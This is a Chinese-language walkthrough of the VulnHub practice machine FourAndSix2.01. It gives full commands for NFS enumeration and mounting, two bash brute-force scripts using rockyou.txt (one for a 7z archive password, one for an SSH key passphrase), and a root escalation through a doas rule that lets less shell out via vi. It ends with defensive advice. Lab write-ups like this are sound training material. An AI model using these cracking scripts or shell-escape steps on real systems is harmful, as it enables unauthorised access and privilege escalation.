VulnHub渗透测试之FourAndSix2.01
字数 1163 2025-08-18 11:37:50
VulnHub渗透测试之FourAndSix2.01详细教学文档
1. 环境准备
1.1 靶机设置
- 下载FourAndSix2.01的OVA文件
- 导入到虚拟机平台(支持VMware Workstation、ESXi或VirtualBox)
- 启动后查看靶机IP地址(示例中为172.17.135.30)
1.2 攻击机准备
- Kali Linux或其他渗透测试发行版
- 确保安装以下工具:
- Nmap
- Metasploit Framework
- 7z/rarcrack(用于压缩包破解)
- SSH客户端
2. 信息收集
2.1 端口扫描
使用Nmap扫描靶机:
nmap -sV 172.17.135.30
发现开放2049端口,运行NFS服务
2.2 NFS服务探测
使用Metasploit扫描可挂载目录:
msfconsole
use auxiliary/scanner/nfs/nfsmount
set RHOSTS 172.17.135.30
run
发现可挂载目录:/home/user/storage
3. 利用NFS服务
3.1 挂载NFS目录
在攻击机上创建挂载点并挂载:
mkdir /tmp/storage
mount -t nfs -o nolock 172.17.135.30:/home/user/storage /tmp/storage
3.2 分析挂载内容
发现backup.7z压缩文件,尝试解压:
7z e backup.7z
提示需要密码
4. 破解7z压缩包
4.1 使用rarcrack爆破
rarcrack --thread 4 --type 7z backup.7z
4.2 使用7z命令字典爆破
创建爆破脚本7z-crack.sh:
#!/bin/bash
cat $2 | while read line;do
if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then
echo "FOUND PASSWORD:"$line
break
fi
done
执行爆破:
bash 7z-crack.sh /tmp/storage/backup.7z /usr/share/wordlists/rockyou.txt
成功获取密码:chocolate
4.3 解压文件
7z e backup.7z -pchocolate
发现内容包含:
- 多张图片
- SSH密钥文件:
id_rsa和id_rsa.pub
5. 利用SSH密钥
5.1 尝试SSH登录
将私钥复制到攻击机:
cp /tmp/storage/id_rsa ~/.ssh/
chmod 600 ~/.ssh/id_rsa
尝试连接:
ssh user@172.17.135.30 -i ~/.ssh/id_rsa
提示需要私钥密码
5.2 破解SSH私钥密码
创建破解脚本id_rsa-crack.sh:
#!/bin/bash
cat /usr/share/wordlists/rockyou.txt | while read line;do
if ssh-keygen -p -P $line -N $line -f $1 1>/dev/null 2>/dev/null;then
echo "PASSWORD FOUND : "$line
break
fi
done
执行破解:
bash id_rsa-crack.sh ~/.ssh/id_rsa
获取密码:12345678
5.3 成功SSH登录
ssh user@172.17.135.30 -i ~/.ssh/id_rsa
输入私钥密码12345678后成功登录
6. 权限提升
6.1 系统信息收集
id
# 输出:uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)
uname -a
# 输出:OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64
6.2 分析doas配置
查看/etc/doas.conf:
cat /etc/doas.conf
内容:
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root
这表明:
- 当前用户可以不输入密码以root权限执行
/usr/bin/less /var/log/authlog - 命令参数固定为
/var/log/authlog
6.3 利用less提权
- 执行doas命令:
doas /usr/bin/less /var/log/authlog
- 在less界面中按下
v键进入编辑模式 - 在vi编辑模式下执行命令:
:!/bin/sh
- 此时获得root shell
7. 获取flag
cat /root/flag.txt
8. 关键点总结
- NFS服务利用:通过NFS挂载获取敏感文件
- 压缩包破解:使用字典爆破7z密码
- SSH私钥利用:破解私钥密码后实现无密码登录
- doas配置滥用:利用配置不当的doas规则实现权限提升
- less提权技巧:利用less的vi模式执行shell命令
9. 防御建议
- 限制NFS服务的访问权限
- 避免在共享目录存放敏感文件
- 使用强密码保护压缩文件和SSH私钥
- 谨慎配置doas/sudo权限,避免过度授权
- 定期审计系统配置和权限设置